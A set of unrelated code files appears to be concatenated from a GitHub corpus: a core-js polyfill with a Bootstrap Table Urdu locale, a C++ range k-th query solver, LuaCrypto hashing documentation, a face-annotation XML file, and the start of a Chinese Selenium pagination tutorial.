!Object('z').propertyIsEnumerable(0); }) ? function (it) { return classofRaw(it) == 'String' ? split.call(it, '') : Object(it); } : Object; // `RequireObjectCoercible` abstract operation // https://tc39.github.io/ecma262/#sec-requireobjectcoercible var requireObjectCoercible = function (it) { if (it == undefined) throw TypeError("Can't call method on " + it); return it; }; // toObject with fallback for non-array-like ES3 strings var toIndexedObject = function (it) { return indexedObject(requireObjectCoercible(it)); }; var isObject = function (it) { return typeof it === 'object' ? it !== null : typeof it === 'function'; }; // `ToPrimitive` abstract operation // https://tc39.github.io/ecma262/#sec-toprimitive // instead of the ES6 spec version, we didn't implement @@toPrimitive case // and the second argument - flag - preferred type is a string var toPrimitive = function (input, PREFERRED_STRING) { if (!isObject(input)) return input; var fn, val; if (PREFERRED_STRING && typeof (fn = input.toString) == 'function' && !isObject(val = fn.call(input))) return val; if (typeof (fn = input.valueOf) == 'function' && !isObject(val = fn.call(input))) return val; if (!PREFERRED_STRING && typeof (fn = input.toString) == 'function' && !isObject(val = fn.call(input))) return val; throw TypeError("Can't convert object to primitive value"); }; var hasOwnProperty = {}.hasOwnProperty; var has = function (it, key) { return hasOwnProperty.call(it, key); }; var document = global_1.document; // typeof document.createElement is 'object' in old IE var EXISTS = isObject(document) && isObject(document.createElement); var documentCreateElement = function (it) { return EXISTS ? document.createElement(it) : {}; }; // Thank's IE8 for his funny defineProperty var ie8DomDefine = !descriptors && !fails(function () { return Object.defineProperty(documentCreateElement('div'), 'a', { get: function () { return 7; } }).a != 7; }); var nativeGetOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; // `Object.getOwnPropertyDescriptor` method // https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptor var f$1 = descriptors ? nativeGetOwnPropertyDescriptor : function getOwnPropertyDescriptor(O, P) { O = toIndexedObject(O); P = toPrimitive(P, true); if (ie8DomDefine) try { return nativeGetOwnPropertyDescriptor(O, P); } catch (error) { /* empty */ } if (has(O, P)) return createPropertyDescriptor(!objectPropertyIsEnumerable.f.call(O, P), O[P]); }; var objectGetOwnPropertyDescriptor = { f: f$1 }; var anObject = function (it) { if (!isObject(it)) { throw TypeError(String(it) + ' is not an object'); } return it; }; var nativeDefineProperty = Object.defineProperty; // `Object.defineProperty` method // https://tc39.github.io/ecma262/#sec-object.defineproperty var f$2 = descriptors ? nativeDefineProperty : function defineProperty(O, P, Attributes) { anObject(O); P = toPrimitive(P, true); anObject(Attributes); if (ie8DomDefine) try { return nativeDefineProperty(O, P, Attributes); } catch (error) { /* empty */ } if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported'); if ('value' in Attributes) O[P] = Attributes.value; return O; }; var objectDefineProperty = { f: f$2 }; var createNonEnumerableProperty = descriptors ? function (object, key, value) { return objectDefineProperty.f(object, key, createPropertyDescriptor(1, value)); } : function (object, key, value) { object[key] = value; return object; }; var setGlobal = function (key, value) { try { createNonEnumerableProperty(global_1, key, value); } catch (error) { global_1[key] = value; } return value; }; var SHARED = '__core-js_shared__'; var store = global_1[SHARED] || setGlobal(SHARED, {}); var sharedStore = store; var functionToString = Function.toString; // this helper broken in `3.4.1-3.4.4`, so we can't use `shared` helper if (typeof sharedStore.inspectSource != 'function') { sharedStore.inspectSource = function (it) { return functionToString.call(it); }; } var inspectSource = sharedStore.inspectSource; var WeakMap = global_1.WeakMap; var nativeWeakMap = typeof WeakMap === 'function' && /native code/.test(inspectSource(WeakMap)); var shared = createCommonjsModule(function (module) { (module.exports = function (key, value) { return sharedStore[key] || (sharedStore[key] = value !== undefined ? value : {}); })('versions', []).push({ version: '3.6.0', mode: 'global', copyright: '© 2019 Denis Pushkarev (zloirock.ru)' }); }); var id = 0; var postfix = Math.random(); var uid = function (key) { return 'Symbol(' + String(key === undefined ? '' : key) + ')_' + (++id + postfix).toString(36); }; var keys = shared('keys'); var sharedKey = function (key) { return keys[key] || (keys[key] = uid(key)); }; var hiddenKeys = {}; var WeakMap$1 = global_1.WeakMap; var set, get, has$1; var enforce = function (it) { return has$1(it) ? get(it) : set(it, {}); }; var getterFor = function (TYPE) { return function (it) { var state; if (!isObject(it) || (state = get(it)).type !== TYPE) { throw TypeError('Incompatible receiver, ' + TYPE + ' required'); } return state; }; }; if (nativeWeakMap) { var store$1 = new WeakMap$1(); var wmget = store$1.get; var wmhas = store$1.has; var wmset = store$1.set; set = function (it, metadata) { wmset.call(store$1, it, metadata); return metadata; }; get = function (it) { return wmget.call(store$1, it) || {}; }; has$1 = function (it) { return wmhas.call(store$1, it); }; } else { var STATE = sharedKey('state'); hiddenKeys[STATE] = true; set = function (it, metadata) { createNonEnumerableProperty(it, STATE, metadata); return metadata; }; get = function (it) { return has(it, STATE) ? it[STATE] : {}; }; has$1 = function (it) { return has(it, STATE); }; } var internalState = { set: set, get: get, has: has$1, enforce: enforce, getterFor: getterFor }; var redefine = createCommonjsModule(function (module) { var getInternalState = internalState.get; var enforceInternalState = internalState.enforce; var TEMPLATE = String(String).split('String'); (module.exports = function (O, key, value, options) { var unsafe = options ? !!options.unsafe : false; var simple = options ? !!options.enumerable : false; var noTargetGet = options ? !!options.noTargetGet : false; if (typeof value == 'function') { if (typeof key == 'string' && !has(value, 'name')) createNonEnumerableProperty(value, 'name', key); enforceInternalState(value).source = TEMPLATE.join(typeof key == 'string' ? key : ''); } if (O === global_1) { if (simple) O[key] = value; else setGlobal(key, value); return; } else if (!unsafe) { delete O[key]; } else if (!noTargetGet && O[key]) { simple = true; } if (simple) O[key] = value; else createNonEnumerableProperty(O, key, value); // add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative })(Function.prototype, 'toString', function toString() { return typeof this == 'function' && getInternalState(this).source || inspectSource(this); }); }); var path = global_1; var aFunction = function (variable) { return typeof variable == 'function' ? variable : undefined; }; var getBuiltIn = function (namespace, method) { return arguments.length < 2 ? aFunction(path[namespace]) || aFunction(global_1[namespace]) : path[namespace] && path[namespace][method] || global_1[namespace] && global_1[namespace][method]; }; var ceil = Math.ceil; var floor = Math.floor; // `ToInteger` abstract operation // https://tc39.github.io/ecma262/#sec-tointeger var toInteger = function (argument) { return isNaN(argument = +argument) ? 0 : (argument > 0 ? floor : ceil)(argument); }; var min = Math.min; // `ToLength` abstract operation // https://tc39.github.io/ecma262/#sec-tolength var toLength = function (argument) { return argument > 0 ? min(toInteger(argument), 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991 }; var max = Math.max; var min$1 = Math.min; // Helper for a popular repeating case of the spec: // Let integer be ? ToInteger(index). // If integer < 0, let result be max((length + integer), 0); else let result be min(integer, length). var toAbsoluteIndex = function (index, length) { var integer = toInteger(index); return integer < 0 ? max(integer + length, 0) : min$1(integer, length); }; // `Array.prototype.{ indexOf, includes }` methods implementation var createMethod = function (IS_INCLUDES) { return function ($this, el, fromIndex) { var O = toIndexedObject($this); var length = toLength(O.length); var index = toAbsoluteIndex(fromIndex, length); var value; // Array#includes uses SameValueZero equality algorithm // eslint-disable-next-line no-self-compare if (IS_INCLUDES && el != el) while (length > index) { value = O[index++]; // eslint-disable-next-line no-self-compare if (value != value) return true; // Array#indexOf ignores holes, Array#includes - not } else for (;length > index; index++) { if ((IS_INCLUDES || index in O) && O[index] === el) return IS_INCLUDES || index || 0; } return !IS_INCLUDES && -1; }; }; var arrayIncludes = { // `Array.prototype.includes` method // https://tc39.github.io/ecma262/#sec-array.prototype.includes includes: createMethod(true), // `Array.prototype.indexOf` method // https://tc39.github.io/ecma262/#sec-array.prototype.indexof indexOf: createMethod(false) }; var indexOf = arrayIncludes.indexOf; var objectKeysInternal = function (object, names) { var O = toIndexedObject(object); var i = 0; var result = []; var key; for (key in O) !has(hiddenKeys, key) && has(O, key) && result.push(key); // Don't enum bug & hidden keys while (names.length > i) if (has(O, key = names[i++])) { ~indexOf(result, key) || result.push(key); } return result; }; // IE8- don't enum bug keys var enumBugKeys = [ 'constructor', 'hasOwnProperty', 'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString', 'toString', 'valueOf' ]; var hiddenKeys$1 = enumBugKeys.concat('length', 'prototype'); // `Object.getOwnPropertyNames` method // https://tc39.github.io/ecma262/#sec-object.getownpropertynames var f$3 = Object.getOwnPropertyNames || function getOwnPropertyNames(O) { return objectKeysInternal(O, hiddenKeys$1); }; var objectGetOwnPropertyNames = { f: f$3 }; var f$4 = Object.getOwnPropertySymbols; var objectGetOwnPropertySymbols = { f: f$4 }; // all object keys, includes non-enumerable and symbols var ownKeys = getBuiltIn('Reflect', 'ownKeys') || function ownKeys(it) { var keys = objectGetOwnPropertyNames.f(anObject(it)); var getOwnPropertySymbols = objectGetOwnPropertySymbols.f; return getOwnPropertySymbols ? keys.concat(getOwnPropertySymbols(it)) : keys; }; var copyConstructorProperties = function (target, source) { var keys = ownKeys(source); var defineProperty = objectDefineProperty.f; var getOwnPropertyDescriptor = objectGetOwnPropertyDescriptor.f; for (var i = 0; i < keys.length; i++) { var key = keys[i]; if (!has(target, key)) defineProperty(target, key, getOwnPropertyDescriptor(source, key)); } }; var replacement = /#|\.prototype\./; var isForced = function (feature, detection) { var value = data[normalize(feature)]; return value == POLYFILL ? true : value == NATIVE ? false : typeof detection == 'function' ? fails(detection) : !!detection; }; var normalize = isForced.normalize = function (string) { return String(string).replace(replacement, '.').toLowerCase(); }; var data = isForced.data = {}; var NATIVE = isForced.NATIVE = 'N'; var POLYFILL = isForced.POLYFILL = 'P'; var isForced_1 = isForced; var getOwnPropertyDescriptor$1 = objectGetOwnPropertyDescriptor.f; /* options.target - name of the target object options.global - target is the global object options.stat - export as static methods of target options.proto - export as prototype methods of target options.real - real prototype method for the `pure` version options.forced - export even if the native feature is available options.bind - bind methods to the target, required for the `pure` version options.wrap - wrap constructors to preventing global pollution, required for the `pure` version options.unsafe - use the simple assignment of property instead of delete + defineProperty options.sham - add a flag to not completely full polyfills options.enumerable - export as enumerable property options.noTargetGet - prevent calling a getter on target */ var _export = function (options, source) { var TARGET = options.target; var GLOBAL = options.global; var STATIC = options.stat; var FORCED, target, key, targetProperty, sourceProperty, descriptor; if (GLOBAL) { target = global_1; } else if (STATIC) { target = global_1[TARGET] || setGlobal(TARGET, {}); } else { target = (global_1[TARGET] || {}).prototype; } if (target) for (key in source) { sourceProperty = source[key]; if (options.noTargetGet) { descriptor = getOwnPropertyDescriptor$1(target, key); targetProperty = descriptor && descriptor.value; } else targetProperty = target[key]; FORCED = isForced_1(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced); // contained in target if (!FORCED && targetProperty !== undefined) { if (typeof sourceProperty === typeof targetProperty) continue; copyConstructorProperties(sourceProperty, targetProperty); } // add a flag to not completely full polyfills if (options.sham || (targetProperty && targetProperty.sham)) { createNonEnumerableProperty(sourceProperty, 'sham', true); } // extend global redefine(target, key, sourceProperty, options); } }; // `IsArray` abstract operation // https://tc39.github.io/ecma262/#sec-isarray var isArray = Array.isArray || function isArray(arg) { return classofRaw(arg) == 'Array'; }; // `ToObject` abstract operation // https://tc39.github.io/ecma262/#sec-toobject var toObject = function (argument) { return Object(requireObjectCoercible(argument)); }; var createProperty = function (object, key, value) { var propertyKey = toPrimitive(key); if (propertyKey in object) objectDefineProperty.f(object, propertyKey, createPropertyDescriptor(0, value)); else object[propertyKey] = value; }; var nativeSymbol = !!Object.getOwnPropertySymbols && !fails(function () { // Chrome 38 Symbol has incorrect toString conversion // eslint-disable-next-line no-undef return !String(Symbol()); }); var useSymbolAsUid = nativeSymbol // eslint-disable-next-line no-undef && !Symbol.sham // eslint-disable-next-line no-undef && typeof Symbol() == 'symbol'; var WellKnownSymbolsStore = shared('wks'); var Symbol$1 = global_1.Symbol; var createWellKnownSymbol = useSymbolAsUid ? Symbol$1 : uid; var wellKnownSymbol = function (name) { if (!has(WellKnownSymbolsStore, name)) { if (nativeSymbol && has(Symbol$1, name)) WellKnownSymbolsStore[name] = Symbol$1[name]; else WellKnownSymbolsStore[name] = createWellKnownSymbol('Symbol.' + name); } return WellKnownSymbolsStore[name]; }; var SPECIES = wellKnownSymbol('species'); // `ArraySpeciesCreate` abstract operation // https://tc39.github.io/ecma262/#sec-arrayspeciescreate var arraySpeciesCreate = function (originalArray, length) { var C; if (isArray(originalArray)) { C = originalArray.constructor; // cross-realm fallback if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined; else if (isObject(C)) { C = C[SPECIES]; if (C === null) C = undefined; } } return new (C === undefined ? Array : C)(length === 0 ? 0 : length); }; var userAgent = getBuiltIn('navigator', 'userAgent') || ''; var process = global_1.process; var versions = process && process.versions; var v8 = versions && versions.v8; var match, version; if (v8) { match = v8.split('.'); version = match[0] + match[1]; } else if (userAgent) { match = userAgent.match(/Edge\/(\d+)/); if (!match || match[1] >= 74) { match = userAgent.match(/Chrome\/(\d+)/); if (match) version = match[1]; } } var v8Version = version && +version; var SPECIES$1 = wellKnownSymbol('species'); var arrayMethodHasSpeciesSupport = function (METHOD_NAME) { // We can't use this feature detection in V8 since it causes // deoptimization and serious performance degradation // https://github.com/zloirock/core-js/issues/677 return v8Version >= 51 || !fails(function () { var array = []; var constructor = array.constructor = {}; constructor[SPECIES$1] = function () { return { foo: 1 }; }; return array[METHOD_NAME](Boolean).foo !== 1; }); }; var IS_CONCAT_SPREADABLE = wellKnownSymbol('isConcatSpreadable'); var MAX_SAFE_INTEGER = 0x1FFFFFFFFFFFFF; var MAXIMUM_ALLOWED_INDEX_EXCEEDED = 'Maximum allowed index exceeded'; // We can't use this feature detection in V8 since it causes // deoptimization and serious performance degradation // https://github.com/zloirock/core-js/issues/679 var IS_CONCAT_SPREADABLE_SUPPORT = v8Version >= 51 || !fails(function () { var array = []; array[IS_CONCAT_SPREADABLE] = false; return array.concat()[0] !== array; }); var SPECIES_SUPPORT = arrayMethodHasSpeciesSupport('concat'); var isConcatSpreadable = function (O) { if (!isObject(O)) return false; var spreadable = O[IS_CONCAT_SPREADABLE]; return spreadable !== undefined ? !!spreadable : isArray(O); }; var FORCED = !IS_CONCAT_SPREADABLE_SUPPORT || !SPECIES_SUPPORT; // `Array.prototype.concat` method // https://tc39.github.io/ecma262/#sec-array.prototype.concat // with adding support of @@isConcatSpreadable and @@species _export({ target: 'Array', proto: true, forced: FORCED }, { concat: function concat(arg) { // eslint-disable-line no-unused-vars var O = toObject(this); var A = arraySpeciesCreate(O, 0); var n = 0; var i, k, length, len, E; for (i = -1, length = arguments.length; i < length; i++) { E = i === -1 ? O : arguments[i]; if (isConcatSpreadable(E)) { len = toLength(E.length); if (n + len > MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED); for (k = 0; k < len; k++, n++) if (k in E) createProperty(A, n, E[k]); } else { if (n >= MAX_SAFE_INTEGER) throw TypeError(MAXIMUM_ALLOWED_INDEX_EXCEEDED); createProperty(A, n++, E); } } A.length = n; return A; } }); /** * Bootstrap Table Urdu translation * Author: Malik <me@malikrizwan.com> */ $.fn.bootstrapTable.locales['ur-PK'] = { formatCopyRows: function formatCopyRows() { return 'Copy Rows'; }, formatPrint: function formatPrint() { return 'Print'; }, formatLoadingMessage: function formatLoadingMessage() { return 'براۓ مہربانی انتظار کیجئے'; }, formatRecordsPerPage: function formatRecordsPerPage(pageNumber) { return "".concat(pageNumber, " \u0631\u06CC\u06A9\u0627\u0631\u0688\u0632 \u0641\u06CC \u0635\u0641\u06C1 "); }, formatShowingRows: function formatShowingRows(pageFrom, pageTo, totalRows, totalNotFiltered) { if (totalNotFiltered !== undefined && totalNotFiltered > 0 && totalNotFiltered > totalRows) { return "\u062F\u06CC\u06A9\u06BE\u06CC\u06BA ".concat(pageFrom, " \u0633\u06D2 ").concat(pageTo, " \u06A9\u06D2 ").concat(totalRows, "\u0631\u06CC\u06A9\u0627\u0631\u0688\u0632 (filtered from ").concat(totalNotFiltered, " total rows)"); } return "\u062F\u06CC\u06A9\u06BE\u06CC\u06BA ".concat(pageFrom, " \u0633\u06D2 ").concat(pageTo, " \u06A9\u06D2 ").concat(totalRows, "\u0631\u06CC\u06A9\u0627\u0631\u0688\u0632"); }, formatSRPaginationPreText: function formatSRPaginationPreText() { return 'previous page'; }, formatSRPaginationPageText: function formatSRPaginationPageText(page) { return "to page ".concat(page); }, formatSRPaginationNextText: function formatSRPaginationNextText() { return 'next page'; }, formatDetailPagination: function formatDetailPagination(totalRows) { return "Showing ".concat(totalRows, " rows"); }, formatClearSearch: function formatClearSearch() { return 'Clear Search'; }, formatSearch: function formatSearch() { return 'تلاش'; }, formatNoMatches: function formatNoMatches() { return 'کوئی ریکارڈ نہیں ملا'; }, formatPaginationSwitch: function formatPaginationSwitch() { return 'Hide/Show pagination'; }, formatPaginationSwitchDown: function formatPaginationSwitchDown() { return 'Show pagination'; }, formatPaginationSwitchUp: function formatPaginationSwitchUp() { return 'Hide pagination'; }, formatRefresh: function formatRefresh() { return 'تازہ کریں'; }, formatToggle: function formatToggle() { return 'تبدیل کریں'; }, formatToggleOn: function formatToggleOn() { return 'Show card view'; }, formatToggleOff: function formatToggleOff() { return 'Hide card view'; }, formatColumns: function formatColumns() { return 'کالم'; }, formatColumnsToggleAll: function formatColumnsToggleAll() { return 'Toggle all'; }, formatFullscreen: function formatFullscreen() { return 'Fullscreen'; }, formatAllRows: function formatAllRows() { return 'All'; }, formatAutoRefresh: function formatAutoRefresh() { return 'Auto Refresh'; }, formatExport: function formatExport() { return 'Export data'; }, formatJumpTo: function formatJumpTo() { return 'GO'; }, formatAdvancedSearch: function formatAdvancedSearch() { return 'Advanced search'; }, formatAdvancedCloseButton: function formatAdvancedCloseButton() { return 'Close'; }, formatFilterControlSwitch: function formatFilterControlSwitch() { return 'Hide/Show controls'; }, formatFilterControlSwitchHide: function formatFilterControlSwitchHide() { return 'Hide controls'; }, formatFilterControlSwitchShow: function formatFilterControlSwitchShow() { return 'Show controls'; } }; $.extend($.fn.bootstrapTable.defaults, $.fn.bootstrapTable.locales['ur-PK']); })));
{ "pile_set_name": "Github" }
#include <bits/stdc++.h> using namespace std; const int MAXQ = 65536; const int MAXN = 65536; const int INF = 0x3f3f3f3f; class Offline { public: struct Event { int x, y, k, qtype, qid; int calc; // Event(int a = 0, int b = 0, int c = 0, int d = 0, int e = 0, int f = 0): x(a), y(b), k(c), qtype(d), qid(e), calc(f) {} }; vector<Event> event; int N, ret[MAXQ]; void init(int N) { this->N = N; event.clear(); } void addEvent(int qtype, int qid, int x, int y, int k) { event.push_back(Event(x, y, k, qtype, qid)); } void run() { DC(0, event.size()-1, 0, INF); } private: // buffer int buf[MAXQ]; Event ebuf1[MAXQ], ebuf2[MAXQ]; // binary indexed tree int bit[MAXN]; void add(int x, int val) { while (x <= N) { bit[x] += val; x += (x)&(-x); } } int query(int x) { int ret = 0; while (x) { ret += bit[x]; x -= (x)&(-x); } return ret; } void DC(int q_l, int q_r, int val_l, int val_r) { if (q_l > q_r) return ; if (val_l == val_r) { // find for (int i = q_l; i <= q_r; i++) if (event[i].qtype == 2) ret[event[i].qid] = val_l; return ; } int mid = (val_l + val_r)/2; for (int i = q_l; i <= q_r; i++) { if (event[i].qtype == 0 && event[i].y <= mid) add(event[i].x, 1); else if (event[i].qtype == 1 && event[i].y <= mid) add(event[i].x, -1); else if (event[i].qtype == 2) buf[i] = query(event[i].y) - query(event[i].x-1); } for (int i = q_l; i <= q_r; i++) { // resume if (event[i].qtype == 0 && event[i].y <= mid) add(event[i].x, -1); else if (event[i].qtype == 1 && event[i].y <= mid) add(event[i].x, 1); } int lidx = 0, ridx = 0; for (int i = q_l; i <= q_r; i++) { if (event[i].qtype == 0 || event[i].qtype == 1) { if (event[i].y <= mid) ebuf1[lidx++] = event[i]; else ebuf2[ridx++] = event[i]; } else { if (event[i].calc + buf[i] > event[i].k - 1) ebuf1[lidx++] = event[i]; else { event[i].calc += buf[i]; ebuf2[ridx++] = event[i]; } } } for (int i = 0; i < lidx; i++) event[q_l+i] = ebuf1[i]; for (int i = 0; i < ridx; i++) event[q_l+lidx+i] = ebuf2[i]; DC(q_l, q_l+lidx-1, val_l, mid); DC(q_l+lidx, q_r, mid+1, val_r); } } off; int main() { int n, m, x, y, k, v; int A[65536]; char cmd[10]; while (scanf("%d %d", &n, &m) == 2) { off.init(n); // qtype 0:add, 1:remove, 2: query for (int i = 1; i <= n; i++) { scanf("%d", &A[i]); off.addEvent(0, 0, i, A[i], 0); } int qid = 0; for (int i = 0; i < m; i++) { scanf("%s", cmd); if (cmd[0] == 'Q') { scanf("%d %d %d", &x, &y, &k); off.addEvent(2, qid++, x, y, k); } else { scanf("%d %d", &x, &v); off.addEvent(1, 0, x, A[x], 0); off.addEvent(0, 0, x, v, 0); A[x] = v; } } off.run(); for (int i = 0; i < qid; i++) printf("%d\n", off.ret[i]); } return 0; }
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>LuaCrypto: A Lua frontend to OpenSSL</title> <link rel="stylesheet" href="http://www.keplerproject.org/doc.css" type="text/css"/> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> </head> <body> <div id="container"> <div id="product"> <div id="product_logo"> <a href="http://www.keplerproject.org"><img alt="LuaCrypto logo" src="luacrypto-128.png"/></a> </div> <div id="product_name"><big><strong>LuaCrypto</strong></big></div> <div id="product_description">A Lua frontend to OpenSSL</div> </div> <!-- id="product" --> <div id="main"> <div id="navigation"> <h1>LuaCrypto</h1> <ul> <li><a href="index.html">Home</a> <ul> <li><a href="index.html#overview">Overview</a></li> <li><a href="index.html#status">Status</a></li> <li><a href="index.html#download">Download</a></li> <li><a href="index.html#dependencies">Dependencies</a></li> <li><a href="index.html#history">History</a></li> <li><a href="index.html#credits">Credits</a></li> <li><a href="index.html#contact">Contact</a></li> </ul> </li> <li><a href="manual.html">Manual</a> <ul> <li><a href="manual.html#introduction">Introduction</a></li> <li><a href="manual.html#building">Building</a></li> <li><a href="manual.html#installation">Installation</a></li> <li><a href="manual.html#reference">Reference</a></li> </ul> </li> <li><strong>Examples</strong></li> <li><a href="http://luaforge.net/projects/luacrypto/">Project</a> <ul> <li><a href="http://luaforge.net/tracker/?group_id=149">Bug Tracker</a></li> <li><a href="http://luaforge.net/scm/?group_id=149">CVS</a></li> </ul> </li> <li><a href="license.html">License</a></li> </ul> </div> <!-- id="navigation" --> <div id="content"> <h2><a name="examples"></a>Example</h2> Below is a sample displaying the basic use of the library. <pre class="example"> local crypto = require("crypto") local evp = require("crypto.evp") local hmac = require("crypto.hmac") assert(io.input(some_file)) local md5_of_some_file = evp.digest("md5", io.read("*all")) assert(io.input(some_file)) local hmac_of_some_file = hmac.digest("sha1", io.read("*all"), "hmackey") </pre> And here is a sample of the object interface to the code. <pre class="example"> require("crypto") local evp = crypto.evp.new("md5") for line in io.lines(some_file) do evp:update(line) end local md5_of_some_file = evp:digest() </pre> </div> <!-- id="content" --> </div> <!-- id="main" --> <div id="about"> <p><a href="http://validator.w3.org/check?uri=referer"><img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0!" height="31" width="88" /></a></p> <p><small> $Id: examples.html,v 1.1 2006/08/25 03:24:17 nezroy Exp $ </small></p> </div> <!-- id="about" --> </div> <!-- id="container" --> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" ?> <annotation> <folder>widerface</folder> <filename>42--Car_Racing_42_Car_Racing_Car_Racing_42_562.jpg</filename> <source> <database>wider face Database</database> <annotation>PASCAL VOC2007</annotation> <image>flickr</image> <flickrid>-1</flickrid> </source> <owner> <flickrid>yanyu</flickrid> <name>yanyu</name> </owner> <size> <width>1024</width> <height>663</height> <depth>3</depth> </size> <segmented>0</segmented> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>84</xmin> <ymin>58</ymin> <xmax>103</xmax> <ymax>81</ymax> </bndbox> <lm> <x1>89.786</x1> <y1>70.143</y1> <x2>97.643</x2> <y2>67.714</y2> <x3>95.357</x3> <y3>73.571</y3> <x4>94.214</x4> <y4>78.143</y4> <x5>98.929</x5> <y5>75.857</y5> <visible>1</visible> <blur>0.4</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>175</xmin> <ymin>44</ymin> <xmax>185</xmax> <ymax>59</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>206</xmin> <ymin>47</ymin> <xmax>216</xmax> <ymax>61</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>267</xmin> <ymin>43</ymin> <xmax>281</xmax> <ymax>64</ymax> </bndbox> <lm> <x1>279.089</x1> <y1>52.598</y1> <x2>281.5</x2> <y2>52.464</y2> <x3>283.777</x3> <y3>57.42</y3> <x4>278.152</x4> <y4>60.5</y4> <x5>279.491</x5> <y5>60.232</y5> <visible>1</visible> <blur>0.34</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>424</xmin> <ymin>39</ymin> <xmax>436</xmax> <ymax>63</ymax> </bndbox> <lm> <x1>433.594</x1> <y1>49.406</y1> <x2>432.812</x2> <y2>49.406</y2> <x3>434.531</x3> <y3>54.719</y3> <x4>431.875</x4> <y4>57.531</y4> <x5>430.781</x5> <y5>57.219</y5> <visible>1</visible> <blur>0.28</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>439</xmin> <ymin>40</ymin> <xmax>454</xmax> <ymax>63</ymax> </bndbox> <lm> <x1>439.518</x1> <y1>50.911</y1> <x2>441.58</x2> <y2>51.5</y2> <x3>436.424</x3> <y3>55.772</y3> <x4>438.192</x4> <y4>59.161</y4> <x5>440.696</x5> <y5>59.75</y5> <visible>0</visible> <blur>0.32</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>496</xmin> <ymin>36</ymin> <xmax>508</xmax> <ymax>53</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>533</xmin> <ymin>49</ymin> <xmax>546</xmax> <ymax>67</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>605</xmin> <ymin>43</ymin> <xmax>616</xmax> <ymax>57</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>651</xmin> <ymin>40</ymin> <xmax>665</xmax> <ymax>64</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>849</xmin> <ymin>51</ymin> <xmax>859</xmax> <ymax>65</ymax> </bndbox> <has_lm>0</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>981</xmin> <ymin>19</ymin> <xmax>1002</xmax> <ymax>61</ymax> </bndbox> <lm> <x1>996.089</x1> <y1>39.464</y1> <x2>1000.911</x2> <y2>37.857</y2> <x3>1001.446</x3> <y3>45.357</y3> <x4>994.75</x4> <y4>49.911</y4> <x5>998.5</x5> <y5>49.375</y5> <visible>1</visible> <blur>0.38</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>890</xmin> <ymin>99</ymin> <xmax>905</xmax> <ymax>114</ymax> </bndbox> <lm> <x1>892.679</x1> <y1>100.991</y1> <x2>898.179</x2> <y2>100.991</y2> <x3>895.134</x3> <y3>103.741</y3> <x4>893.562</x4> <y4>107.866</y4> <x5>897.884</x5> <y5>107.866</y5> <visible>1</visible> <blur>0.23</blur> </lm> <has_lm>1</has_lm> </object> </annotation>
{ "pile_set_name": "Github" }
处理分页 ========= 场景 ---- 对分页来说,我们最感兴趣的是下面几个信息 * 总共有多少页 * 当前是第几页 * 是否可以上一页和下一页 代码 ---- 下面的代码演示了如何获取分页的总数以及当前是第几页 ### pagination.html ```html <html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <title>Pagination</title> <script type="text/javascript" async="" src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css" rel="stylesheet" /> <script type="text/javascript"> $(document).ready(function(){ $('.pagination').find('li').click(function(){ $(this).parent().find('li').removeClass('active'); $(this).addClass('active'); }); }); </script> </head> <body> <h3>Pagination</h3> <div class="row-fluid"> <div class="span6"> <div class="pagination pagination-large"> <ul> <li><a href="#">Prev</a></li> <li class="active"><a href="#">1</a></li> <li><a href="#">2</a></li> <li><a href="#">3</a></li> <li><a href="#">4</a></li> <li><a href="#">5</a></li> <li><a href="#">Next</a></li> </ul> </div> </div> </div> </body> <script src="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/js/bootstrap.min.js"></script> </html> ``` ### pagination.rb ```ruby #encoding: utf-8 require 'selenium-webdriver' dr = 